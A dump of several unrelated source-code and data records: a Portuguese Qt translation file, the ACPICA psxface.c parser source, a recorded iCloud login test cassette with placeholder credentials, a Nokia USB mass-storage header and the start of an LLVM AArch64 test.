<location filename=\"../pages/page_wallpaper.ui\" line=\"110\"/>\n <source>Every </source>\n <translation>A cada </translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.ui\" line=\"133\"/>\n <source>Layout:</source>\n <translation>Disposição:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"55\"/>\n <source>Wallpaper Settings</source>\n <translation>Definições do papel de parede</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"65\"/>\n <source>System Default</source>\n <translation>Predefinições do sistema</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"66\"/>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"236\"/>\n <source>Solid Color: %1</source>\n <translation>Cor sólida: %1</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"77\"/>\n <source>Screen Resolution:</source>\n <translation>Resolução do ecrã:</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"99\"/>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"100\"/>\n <source>Select Color</source>\n <translation>Selecionar cor</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"119\"/>\n <source>File(s)</source>\n <translation>Ficheiro(s)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"120\"/>\n <source>Directory (Single)</source>\n <translation>Diretório (único)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"121\"/>\n <source>Directory (Recursive)</source>\n <translation>Diretório (recursivo)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"122\"/>\n <source>Solid Color</source>\n <translation>Cor sólida</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"126\"/>\n <source>Automatic</source>\n <translation>Automático</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"127\"/>\n <source>Fullscreen</source>\n <translation>Ecrã completo</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"128\"/>\n <source>Fit screen</source>\n <translation>Ajustar ao ecrã</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"129\"/>\n <source>Tile</source>\n <translation>Mosaico</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"130\"/>\n <source>Center</source>\n <translation>Centro</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"131\"/>\n <source>Top Left</source>\n <translation>Cima/Esquerda</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"132\"/>\n <source>Top Right</source>\n <translation>Cima/Direita</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"133\"/>\n <source>Bottom Left</source>\n <translation>Baixo/Esquerda</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"134\"/>\n <source>Bottom Right</source>\n <translation>Baixo/Direita</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"142\"/>\n <source>No Background</source>\n <translation>Nenhum fundo</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"142\"/>\n <source>(use system default)</source>\n <translation>(usar predefinições do sistema)</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"156\"/>\n <source>Image Directory: %1 valid images</source>\n <translation>Diretório de imagens: %1 imagens válidas</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"176\"/>\n <source>File does not exist</source>\n <translation>O ficheiro não existe</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"217\"/>\n <source>Find Background Image(s)</source>\n <translation>Localizar imagens de fundo</translation>\n </message>\n <message>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"248\"/>\n <location filename=\"../pages/page_wallpaper.cpp\" line=\"266\"/>\n <source>Find Background Image Directory</source>\n <translation>Localizar diretório de imagens</translation>\n </message>\n</context>\n</TS>\n"} {"text": "/******************************************************************************\n *\n * Module Name: psxface - Parser external interfaces\n *\n *****************************************************************************/\n\n/******************************************************************************\n *\n * 1. Copyright Notice\n *\n * Some or all of this work - Copyright (c) 1999 - 2018, Intel Corp.\n * All rights reserved.\n *\n * 2. License\n *\n * 2.1. This is your license from Intel Corp. under its intellectual property\n * rights. You may have additional license terms from the party that provided\n * you this software, covering your right to use that party's intellectual\n * property rights.\n *\n * 2.2. Intel grants, free of charge, to any person (\"Licensee\") obtaining a\n * copy of the source code appearing in this file (\"Covered Code\") an\n * irrevocable, perpetual, worldwide license under Intel's copyrights in the\n * base code distributed originally by Intel (\"Original Intel Code\") to copy,\n * make derivatives, distribute, use and display any portion of the Covered\n * Code in any form, with the right to sublicense such rights; and\n *\n * 2.3. Intel grants Licensee a non-exclusive and non-transferable patent\n * license (with the right to sublicense), under only those claims of Intel\n * patents that are infringed by the Original Intel Code, to make, use, sell,\n * offer to sell, and import the Covered Code and derivative works thereof\n * solely to the minimum extent necessary to exercise the above copyright\n * license, and in no event shall the patent license extend to any additions\n * to or modifications of the Original Intel Code. No other license or right\n * is granted directly or by implication, estoppel or otherwise;\n *\n * The above copyright and patent license is granted only if the following\n * conditions are met:\n *\n * 3. Conditions\n *\n * 3.1. Redistribution of Source with Rights to Further Distribute Source.\n * Redistribution of source code of any substantial portion of the Covered\n * Code or modification with rights to further distribute source must include\n * the above Copyright Notice, the above License, this list of Conditions,\n * and the following Disclaimer and Export Compliance provision. In addition,\n * Licensee must cause all Covered Code to which Licensee contributes to\n * contain a file documenting the changes Licensee made to create that Covered\n * Code and the date of any change. Licensee must include in that file the\n * documentation of any changes made by any predecessor Licensee. Licensee\n * must include a prominent statement that the modification is derived,\n * directly or indirectly, from Original Intel Code.\n *\n * 3.2. Redistribution of Source with no Rights to Further Distribute Source.\n * Redistribution of source code of any substantial portion of the Covered\n * Code or modification without rights to further distribute source must\n * include the following Disclaimer and Export Compliance provision in the\n * documentation and/or other materials provided with distribution. In\n * addition, Licensee may not authorize further sublicense of source of any\n * portion of the Covered Code, and must include terms to the effect that the\n * license from Licensee to its licensee is limited to the intellectual\n * property embodied in the software Licensee provides to its licensee, and\n * not to intellectual property embodied in modifications its licensee may\n * make.\n *\n * 3.3. Redistribution of Executable. Redistribution in executable form of any\n * substantial portion of the Covered Code or modification must reproduce the\n * above Copyright Notice, and the following Disclaimer and Export Compliance\n * provision in the documentation and/or other materials provided with the\n * distribution.\n *\n * 3.4. Intel retains all right, title, and interest in and to the Original\n * Intel Code.\n *\n * 3.5. Neither the name Intel nor any other trademark owned or controlled by\n * Intel shall be used in advertising or otherwise to promote the sale, use or\n * other dealings in products derived from or relating to the Covered Code\n * without prior written authorization from Intel.\n *\n * 4. Disclaimer and Export Compliance\n *\n * 4.1. INTEL MAKES NO WARRANTY OF ANY KIND REGARDING ANY SOFTWARE PROVIDED\n * HERE. ANY SOFTWARE ORIGINATING FROM INTEL OR DERIVED FROM INTEL SOFTWARE\n * IS PROVIDED \"AS IS,\" AND INTEL WILL NOT PROVIDE ANY SUPPORT, ASSISTANCE,\n * INSTALLATION, TRAINING OR OTHER SERVICES. INTEL WILL NOT PROVIDE ANY\n * UPDATES, ENHANCEMENTS OR EXTENSIONS. INTEL SPECIFICALLY DISCLAIMS ANY\n * IMPLIED WARRANTIES OF MERCHANTABILITY, NONINFRINGEMENT AND FITNESS FOR A\n * PARTICULAR PURPOSE.\n *\n * 4.2. IN NO EVENT SHALL INTEL HAVE ANY LIABILITY TO LICENSEE, ITS LICENSEES\n * OR ANY OTHER THIRD PARTY, FOR ANY LOST PROFITS, LOST DATA, LOSS OF USE OR\n * COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, OR FOR ANY INDIRECT,\n * SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THIS AGREEMENT, UNDER ANY\n * CAUSE OF ACTION OR THEORY OF LIABILITY, AND IRRESPECTIVE OF WHETHER INTEL\n * HAS ADVANCE NOTICE OF THE POSSIBILITY OF SUCH DAMAGES. THESE LIMITATIONS\n * SHALL APPLY NOTWITHSTANDING THE FAILURE OF THE ESSENTIAL PURPOSE OF ANY\n * LIMITED REMEDY.\n *\n * 4.3. Licensee shall not export, either directly or indirectly, any of this\n * software or system incorporating such software without first obtaining any\n * required license or other approval from the U. S. Department of Commerce or\n * any other agency or department of the United States Government. In the\n * event Licensee exports any such software from the United States or\n * re-exports any such software from a foreign destination, Licensee shall\n * ensure that the distribution and export/re-export of the software is in\n * compliance with all laws, regulations, orders, or other restrictions of the\n * U.S. Export Administration Regulations. Licensee agrees that neither it nor\n * any of its subsidiaries will export/re-export any technical data, process,\n * software, or service, directly or indirectly, to any country for which the\n * United States government or any agency thereof requires an export license,\n * other governmental approval, or letter of assurance, without first obtaining\n * such license, approval or letter.\n *\n *****************************************************************************\n *\n * Alternatively, you may choose to be licensed under the terms of the\n * following license:\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions, and the following disclaimer,\n * without modification.\n * 2. Redistributions in binary form must reproduce at minimum a disclaimer\n * substantially similar to the \"NO WARRANTY\" disclaimer below\n * (\"Disclaimer\") and any redistribution must be conditioned upon\n * including a substantially similar Disclaimer requirement for further\n * binary redistribution.\n * 3. Neither the names of the above-listed copyright holders nor the names\n * of any contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Alternatively, you may choose to be licensed under the terms of the\n * GNU General Public License (\"GPL\") version 2 as published by the Free\n * Software Foundation.\n *\n *****************************************************************************/\n\n#include \"acpi.h\"\n#include \"accommon.h\"\n#include \"acparser.h\"\n#include \"acdispat.h\"\n#include \"acinterp.h\"\n#include \"actables.h\"\n#include \"acnamesp.h\"\n\n\n#define _COMPONENT ACPI_PARSER\n ACPI_MODULE_NAME (\"psxface\")\n\n/* Local Prototypes */\n\nstatic void\nAcpiPsUpdateParameterList (\n ACPI_EVALUATE_INFO *Info,\n UINT16 Action);\n\n\n/*******************************************************************************\n *\n * FUNCTION: AcpiDebugTrace\n *\n * PARAMETERS: MethodName - Valid ACPI name string\n * DebugLevel - Optional level mask. 0 to use default\n * DebugLayer - Optional layer mask. 0 to use default\n * Flags - bit 1: one shot(1) or persistent(0)\n *\n * RETURN: Status\n *\n * DESCRIPTION: External interface to enable debug tracing during control\n * method execution\n *\n ******************************************************************************/\n\nACPI_STATUS\nAcpiDebugTrace (\n const char *Name,\n UINT32 DebugLevel,\n UINT32 DebugLayer,\n UINT32 Flags)\n{\n ACPI_STATUS Status;\n\n\n Status = AcpiUtAcquireMutex (ACPI_MTX_NAMESPACE);\n if (ACPI_FAILURE (Status))\n {\n return (Status);\n }\n\n AcpiGbl_TraceMethodName = Name;\n AcpiGbl_TraceFlags = Flags;\n AcpiGbl_TraceDbgLevel = DebugLevel;\n AcpiGbl_TraceDbgLayer = DebugLayer;\n Status = AE_OK;\n\n (void) AcpiUtReleaseMutex (ACPI_MTX_NAMESPACE);\n return (Status);\n}\n\n\n/*******************************************************************************\n *\n * FUNCTION: AcpiPsExecuteMethod\n *\n * PARAMETERS: Info - Method info block, contains:\n * Node - Method Node to execute\n * ObjDesc - Method object\n * Parameters - List of parameters to pass to the method,\n * terminated by NULL. Params itself may be\n * NULL if no parameters are being passed.\n * ReturnObject - Where to put method's return value (if\n * any). If NULL, no value is returned.\n * ParameterType - Type of Parameter list\n * ReturnObject - Where to put method's return value (if\n * any). If NULL, no value is returned.\n * PassNumber - Parse or execute pass\n *\n * RETURN: Status\n *\n * DESCRIPTION: Execute a control method\n *\n ******************************************************************************/\n\nACPI_STATUS\nAcpiPsExecuteMethod (\n ACPI_EVALUATE_INFO *Info)\n{\n ACPI_STATUS Status;\n ACPI_PARSE_OBJECT *Op;\n ACPI_WALK_STATE *WalkState;\n\n\n ACPI_FUNCTION_TRACE (PsExecuteMethod);\n\n\n /* Quick validation of DSDT header */\n\n AcpiTbCheckDsdtHeader ();\n\n /* Validate the Info and method Node */\n\n if (!Info || !Info->Node)\n {\n return_ACPI_STATUS (AE_NULL_ENTRY);\n }\n\n /* Init for new method, wait on concurrency semaphore */\n\n Status = AcpiDsBeginMethodExecution (Info->Node, Info->ObjDesc, NULL);\n if (ACPI_FAILURE (Status))\n {\n return_ACPI_STATUS (Status);\n }\n\n /*\n * The caller \"owns\" the parameters, so give each one an extra reference\n */\n AcpiPsUpdateParameterList (Info, REF_INCREMENT);\n\n /*\n * Execute the method. Performs parse simultaneously\n */\n ACPI_DEBUG_PRINT ((ACPI_DB_PARSE,\n \"**** Begin Method Parse/Execute [%4.4s] **** Node=%p Obj=%p\\n\",\n Info->Node->Name.Ascii, Info->Node, Info->ObjDesc));\n\n /* Create and init a Root Node */\n\n Op = AcpiPsCreateScopeOp (Info->ObjDesc->Method.AmlStart);\n if (!Op)\n {\n Status = AE_NO_MEMORY;\n goto Cleanup;\n }\n\n /* Create and initialize a new walk state */\n\n Info->PassNumber = ACPI_IMODE_EXECUTE;\n WalkState = AcpiDsCreateWalkState (\n Info->ObjDesc->Method.OwnerId, NULL, NULL, NULL);\n if (!WalkState)\n {\n Status = AE_NO_MEMORY;\n goto Cleanup;\n }\n\n Status = AcpiDsInitAmlWalk (WalkState, Op, Info->Node,\n Info->ObjDesc->Method.AmlStart,\n Info->ObjDesc->Method.AmlLength, Info, Info->PassNumber);\n if (ACPI_FAILURE (Status))\n {\n AcpiDsDeleteWalkState (WalkState);\n goto Cleanup;\n }\n\n WalkState->MethodPathname = Info->FullPathname;\n WalkState->MethodIsNested = FALSE;\n\n if (Info->ObjDesc->Method.InfoFlags & ACPI_METHOD_MODULE_LEVEL)\n {\n WalkState->ParseFlags |= ACPI_PARSE_MODULE_LEVEL;\n }\n\n /* Invoke an internal method if necessary */\n\n if (Info->ObjDesc->Method.InfoFlags & ACPI_METHOD_INTERNAL_ONLY)\n {\n Status = Info->ObjDesc->Method.Dispatch.Implementation (WalkState);\n Info->ReturnObject = WalkState->ReturnDesc;\n\n /* Cleanup states */\n\n AcpiDsScopeStackClear (WalkState);\n AcpiPsCleanupScope (&WalkState->ParserState);\n AcpiDsTerminateControlMethod (WalkState->MethodDesc, WalkState);\n AcpiDsDeleteWalkState (WalkState);\n goto Cleanup;\n }\n\n /*\n * Start method evaluation with an implicit return of zero.\n * This is done for Windows compatibility.\n */\n if (AcpiGbl_EnableInterpreterSlack)\n {\n WalkState->ImplicitReturnObj =\n AcpiUtCreateIntegerObject ((UINT64) 0);\n if (!WalkState->ImplicitReturnObj)\n {\n Status = AE_NO_MEMORY;\n AcpiDsDeleteWalkState (WalkState);\n goto Cleanup;\n }\n }\n\n /* Parse the AML */\n\n Status = AcpiPsParseAml (WalkState);\n\n /* WalkState was deleted by ParseAml */\n\nCleanup:\n AcpiPsDeleteParseTree (Op);\n\n /* Take away the extra reference that we gave the parameters above */\n\n AcpiPsUpdateParameterList (Info, REF_DECREMENT);\n\n /* Exit now if error above */\n\n if (ACPI_FAILURE (Status))\n {\n return_ACPI_STATUS (Status);\n }\n\n /*\n * If the method has returned an object, signal this to the caller with\n * a control exception code\n */\n if (Info->ReturnObject)\n {\n ACPI_DEBUG_PRINT ((ACPI_DB_PARSE, \"Method returned ObjDesc=%p\\n\",\n Info->ReturnObject));\n ACPI_DUMP_STACK_ENTRY (Info->ReturnObject);\n\n Status = AE_CTRL_RETURN_VALUE;\n }\n\n return_ACPI_STATUS (Status);\n}\n\n\n/*******************************************************************************\n *\n * FUNCTION: AcpiPsExecuteTable\n *\n * PARAMETERS: Info - Method info block, contains:\n * Node - Node to where the is entered into the\n * namespace\n * ObjDesc - Pseudo method object describing the AML\n * code of the entire table\n * PassNumber - Parse or execute pass\n *\n * RETURN: Status\n *\n * DESCRIPTION: Execute a table\n *\n ******************************************************************************/\n\nACPI_STATUS\nAcpiPsExecuteTable (\n ACPI_EVALUATE_INFO *Info)\n{\n ACPI_STATUS Status;\n ACPI_PARSE_OBJECT *Op = NULL;\n ACPI_WALK_STATE *WalkState = NULL;\n\n\n ACPI_FUNCTION_TRACE (PsExecuteTable);\n\n\n /* Create and init a Root Node */\n\n Op = AcpiPsCreateScopeOp (Info->ObjDesc->Method.AmlStart);\n if (!Op)\n {\n Status = AE_NO_MEMORY;\n goto Cleanup;\n }\n\n /* Create and initialize a new walk state */\n\n WalkState = AcpiDsCreateWalkState (\n Info->ObjDesc->Method.OwnerId, NULL, NULL, NULL);\n if (!WalkState)\n {\n Status = AE_NO_MEMORY;\n goto Cleanup;\n }\n\n Status = AcpiDsInitAmlWalk (WalkState, Op, Info->Node,\n Info->ObjDesc->Method.AmlStart,\n Info->ObjDesc->Method.AmlLength, Info, Info->PassNumber);\n if (ACPI_FAILURE (Status))\n {\n goto Cleanup;\n }\n\n WalkState->MethodPathname = Info->FullPathname;\n WalkState->MethodIsNested = FALSE;\n\n if (Info->ObjDesc->Method.InfoFlags & ACPI_METHOD_MODULE_LEVEL)\n {\n WalkState->ParseFlags |= ACPI_PARSE_MODULE_LEVEL;\n }\n\n /* Info->Node is the default location to load the table */\n\n if (Info->Node && Info->Node != AcpiGbl_RootNode)\n {\n Status = AcpiDsScopeStackPush (\n Info->Node, ACPI_TYPE_METHOD, WalkState);\n if (ACPI_FAILURE (Status))\n {\n goto Cleanup;\n }\n }\n\n /*\n * Parse the AML, WalkState will be deleted by ParseAml\n */\n AcpiExEnterInterpreter ();\n Status = AcpiPsParseAml (WalkState);\n AcpiExExitInterpreter ();\n WalkState = NULL;\n\nCleanup:\n if (WalkState)\n {\n AcpiDsDeleteWalkState (WalkState);\n }\n if (Op)\n {\n AcpiPsDeleteParseTree (Op);\n }\n return_ACPI_STATUS (Status);\n}\n\n\n/*******************************************************************************\n *\n * FUNCTION: AcpiPsUpdateParameterList\n *\n * PARAMETERS: Info - See ACPI_EVALUATE_INFO\n * (Used: ParameterType and Parameters)\n * Action - Add or Remove reference\n *\n * RETURN: Status\n *\n * DESCRIPTION: Update reference count on all method parameter objects\n *\n ******************************************************************************/\n\nstatic void\nAcpiPsUpdateParameterList (\n ACPI_EVALUATE_INFO *Info,\n UINT16 Action)\n{\n UINT32 i;\n\n\n if (Info->Parameters)\n {\n /* Update reference count for each parameter */\n\n for (i = 0; Info->Parameters[i]; i++)\n {\n /* Ignore errors, just do them all */\n\n (void) AcpiUtUpdateObjectReference (\n Info->Parameters[i], Action);\n }\n }\n}\n"} {"text": "interactions:\n- request:\n body: !!python/unicode '{\"apple_id\": \"jdoe@gmail.com\", \"password\": \"password1\",\n \"extended_login\": false}'\n headers:\n Accept: ['*/*']\n Accept-Encoding: ['gzip, deflate']\n Connection: [keep-alive]\n Content-Length: ['88']\n Origin: ['https://www.icloud.com']\n Referer: ['https://www.icloud.com/']\n User-Agent: [Opera/9.52 (X11; Linux i686; U; en)]\n method: POST\n uri: https://setup.icloud.com/setup/ws/1/login?clientBuildNumber=17DHotfix5&clientMasteringNumber=17DHotfix5&clientId=EC5646DE-9423-11E8-BF21-14109FE0B321&ckjsVersion=2.0.5&ckjsBuildVersion=17DProjectDev77\n response:\n body: {string: !!python/unicode '{\"dsInfo\":{\"lastName\":\"Doe\",\"iCDPEnabled\":false,\"dsid\":\"123456789\",\"hsaEnabled\":true,\"ironcadeMigrated\":true,\"locale\":\"en-us_US\",\"brZoneConsolidated\":false,\"isManagedAppleID\":false,\"gilligan-invited\":\"true\",\"appleIdAliases\":[\"jdoe@icloud.com\"],\"hsaVersion\":2,\"isPaidDeveloper\":true,\"countryCode\":\"USA\",\"notificationId\":\"12341234-1234-1234-1234-143241234123\",\"primaryEmailVerified\":true,\"aDsID\":\"12341234123412341234\",\"locked\":false,\"hasICloudQualifyingDevice\":true,\"primaryEmail\":\"jdoe@gmail.com\",\"appleIdEntries\":[{\"isPrimary\":true,\"type\":\"EMAIL\",\"value\":\"jdoe@gmail.com\"}],\"gilligan-enabled\":\"true\",\"fullName\":\"John\n Doe\",\"languageCode\":\"en-us\",\"appleId\":\"jdoe@gmail.com\",\"firstName\":\"John\",\"iCloudAppleIdAlias\":\"jdoe@icloud.com\",\"notesMigrated\":true,\"hasPaymentInfo\":true,\"pcsDeleted\":false,\"appleIdAlias\":\"\",\"brMigrated\":true,\"statusCode\":2},\"hasMinimumDeviceForPhotosWeb\":true,\"iCDPEnabled\":false,\"webservices\":{\"reminders\":{\"url\":\"https://p10-remindersws.icloud.com:443\",\"status\":\"active\"},\"notes\":{\"url\":\"https://p10-notesws.icloud.com:443\",\"status\":\"active\"},\"mail\":{\"url\":\"https://p10-mailws.icloud.com:443\",\"status\":\"active\"},\"ckdatabasews\":{\"pcsRequired\":true,\"url\":\"https://p10-ckdatabasews.icloud.com:443\",\"status\":\"active\"},\"photosupload\":{\"pcsRequired\":true,\"url\":\"https://p10-uploadphotosws.icloud.com:443\",\"status\":\"active\"},\"photos\":{\"pcsRequired\":true,\"uploadUrl\":\"https://p10-uploadphotosws.icloud.com:443\",\"url\":\"https://p10-photosws.icloud.com:443\",\"status\":\"active\"},\"drivews\":{\"pcsRequired\":true,\"url\":\"https://p10-drivews.icloud.com:443\",\"status\":\"active\"},\"uploadimagews\":{\"url\":\"https://p10-uploadimagews.icloud.com:443\",\"status\":\"active\"},\"schoolwork\":{},\"cksharews\":{\"url\":\"https://p10-ckshare.icloud.com:443\",\"status\":\"active\"},\"findme\":{\"url\":\"https://p10-fmipweb.icloud.com:443\",\"status\":\"active\"},\"ckdeviceservice\":{\"url\":\"https://p10-ckdevice.icloud.com:443\"},\"iworkthumbnailws\":{\"url\":\"https://p10-iworkthumbnailws.icloud.com:443\",\"status\":\"active\"},\"calendar\":{\"url\":\"https://p10-calendarws.icloud.com:443\",\"status\":\"active\"},\"docws\":{\"pcsRequired\":true,\"url\":\"https://p10-docws.icloud.com:443\",\"status\":\"active\"},\"settings\":{\"url\":\"https://p10-settingsws.icloud.com:443\",\"status\":\"active\"},\"ubiquity\":{\"url\":\"https://p10-ubiquityws.icloud.com:443\",\"status\":\"active\"},\"streams\":{\"url\":\"https://p10-streams.icloud.com:443\",\"status\":\"active\"},\"keyvalue\":{\"url\":\"https://p10-keyvalueservice.icloud.com:443\",\"status\":\"active\"},\"archivews\":{\"url\":\"https://p10-archivews.icloud.com:443\",\"status\":\"active\"},\"push\":{\"url\":\"https://p10-pushws.icloud.com:443\",\"status\":\"active\"},\"iwmb\":{\"url\":\"https://p10-iwmb.icloud.com:443\",\"status\":\"active\"},\"iworkexportws\":{\"url\":\"https://p10-iworkexportws.icloud.com:443\",\"status\":\"active\"},\"geows\":{\"url\":\"https://p10-geows.icloud.com:443\",\"status\":\"active\"},\"account\":{\"iCloudEnv\":{\"shortId\":\"p\",\"vipSuffix\":\"p\"},\"url\":\"https://p10-setup.icloud.com:443\",\"status\":\"active\"},\"fmf\":{\"url\":\"https://p10-fmfweb.icloud.com:443\",\"status\":\"active\"},\"contacts\":{\"url\":\"https://p10-contactsws.icloud.com:443\",\"status\":\"active\"}},\"pcsEnabled\":true,\"configBag\":{\"urls\":{\"accountCreateUI\":\"https://appleid.apple.com/widget/account/?widgetKey=12312412412341234123412341234123412341234#!create\",\"accountLoginUI\":\"https://idmsa.apple.com/appleauth/auth/signin?widgetKey=83545bf919730e51dbfba24e7e8a78d2\",\"accountLogin\":\"https://setup.icloud.com/setup/ws/1/accountLogin\",\"accountRepairUI\":\"https://appleid.apple.com/widget/account/?widgetKey=12312412412341234123412341234123412341234#!repair\",\"downloadICloudTerms\":\"https://setup.icloud.com/setup/ws/1/downloadLiteTerms\",\"repairDone\":\"https://setup.icloud.com/setup/ws/1/repairDone\",\"vettingUrlForEmail\":\"https://id.apple.com/IDMSEmailVetting/vetShareEmail\",\"accountCreate\":\"https://setup.icloud.com/setup/ws/1/createLiteAccount\",\"getICloudTerms\":\"https://setup.icloud.com/setup/ws/1/getTerms\",\"vettingUrlForPhone\":\"https://id.apple.com/IDMSEmailVetting/vetSharePhone\"},\"accountCreateEnabled\":\"true\"},\"hsaTrustedBrowser\":false,\"appsOrder\":[\"mail\",\"contacts\",\"calendar\",\"photos\",\"iclouddrive\",\"notes2\",\"reminders\",\"pages\",\"numbers\",\"keynote\",\"newspublisher\",\"fmf\",\"find\",\"settings\"],\"version\":2,\"isExtendedLogin\":false,\"pcsServiceIdentitiesIncluded\":false,\"hsaChallengeRequired\":true,\"requestInfo\":{\"country\":\"TH\",\"timeZone\":\"GMT+7\",\"isAppleInternal\":true},\"pcsDeleted\":false,\"iCloudInfo\":{\"SafariBookmarksHasMigratedToCloudKit\":false},\"apps\":{\"calendar\":{},\"reminders\":{},\"keynote\":{\"isQualifiedForBeta\":true},\"settings\":{\"canLaunchWithOneFactor\":true},\"mail\":{},\"numbers\":{\"isQualifiedForBeta\":true},\"photos\":{},\"pages\":{\"isQualifiedForBeta\":true},\"find\":{\"canLaunchWithOneFactor\":true},\"notes2\":{},\"iclouddrive\":{},\"newspublisher\":{\"isHidden\":true},\"fmf\":{},\"contacts\":{}}}'}\n headers:\n access-control-allow-credentials: ['true']\n access-control-allow-origin: ['https://www.icloud.com']\n access-control-expose-headers: [X-Apple-Request-UUID, Via]\n apple-originating-system: [UnknownOriginatingSystem]\n apple-seq: ['0']\n apple-tk: ['false']\n cache-control: ['no-cache, no-store, private']\n connection: [keep-alive]\n content-length: ['4895']\n content-type: [application/json; charset=UTF-8]\n date: ['Mon, 30 Jul 2018 19:00:39 GMT']\n server: [AppleHttpServer/2f080fc0]\n strict-transport-security: [max-age=31536000; includeSubDomains]\n via: ['icloudedge:si03p00ic-ztde010417:7401:18RC341:Singapore']\n x-apple-jingle-correlation-key: [SJHIUN7879234KJHH8JBH]\n x-apple-request-uuid: [NISUHFIOSUHFOSIDUHFOSIDF]\n x-responding-instance: ['setupservice:328457238759328579234875']\n status: {code: 200, message: OK}\nversion: 1\n"} {"text": "// Copyright (c) 2008-2009 Nokia Corporation and/or its subsidiary(-ies).\n// All rights reserved.\n// This component and the accompanying materials are made available\n// under the terms of the License \"Eclipse Public License v1.0\"\n// which accompanies this distribution, and is available\n// at the URL \"http://www.eclipse.org/legal/epl-v10.html\".\n//\n// Initial Contributors:\n// Nokia Corporation - initial contribution.\n//\n// Contributors:\n//\n// Description:\n// BOT Protocol layer for USB Mass Storage Class\n// \n//\n\n/**\n @file\n @internalTechnology\n*/\n\n#ifndef MBLOCKTRANSFERPROTOCOL_H\n#define MBLOCKTRANSFERPROTOCOL_H\n\n/**\nInterface class to be provided by the Protocol layer. The interface methods are\nused by TBlockTransfer class which manages block read and block writes of the\ndata to be transferred.\n*/\nclass MBlockTransferProtocol\n {\npublic:\n /**\n Read a block of data aligned to block boundary.\n\n @param aPos The position aligned to block boundary\n @param aBuf The buffer to copy the data into\n @param aLength The Length in bytes, a multiple of the block length\n */\n virtual void BlockReadL(TUint64 aPos, TDes8& aBuf, TInt aLength) = 0;\n\n /**\n Write a block of data aligned to block boundary.\n\n @param aPos The position aligned to block boundary\n @param aBuf The buffer containing the data to write\n @param aOffset The offset into the buffer to the start of the block\n @param aLength The length in bytes, must be a multiple of the block length\n */\n virtual void BlockWriteL(TUint64 aPos, TDesC8& aBuf, TUint aOffset, TInt aLength) = 0;\n };\n\n#endif // MBLOCKTRANSFERPROTOCOL_H\n\n"} {"text": "; RUN: llc -verify-machineinstrs %s -o - -mtriple=aarch64-linux-gnu -aarch64-enable-atomic-cfg-tidy=0 | FileCheck %s\n\n@var8 = global i8 0\n@var16 = global i16 0\n@var32 = global i32 0\n@var64 = global i64 0\n\ndefine void @addsub_i8rhs() minsize {\n; CHECK-LABEL: addsub_i8rhs:\n %val8_tmp = load i8, i8* @var8\n %lhs32 = load i32, i32* @var32\n %lhs64 = load i64, i64* @var64\n\n ; Need this to prevent extension upon load and give a vanilla i8 operand.\n %val8 = add i8 %val8_tmp, 123\n\n\n; Zero-extending to 32-bits\n %rhs32_zext = zext i8 %val8 to i32\n %res32_zext = add i32 %lhs32, %rhs32_zext\n store volatile i32 %res32_zext, i32* @var32\n; CHECK: add {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, uxtb\n\n %rhs32_zext_shift = shl i32 %rhs32_zext, 3\n %res32_zext_shift = add i32 %lhs32, %rhs32_zext_shift\n store volatile i32 %res32_zext_shift, i32* @var32\n; CHECK: add {{w[0-9]+}}, {{w[0-9]+}}, {{w[0-9]+}}, 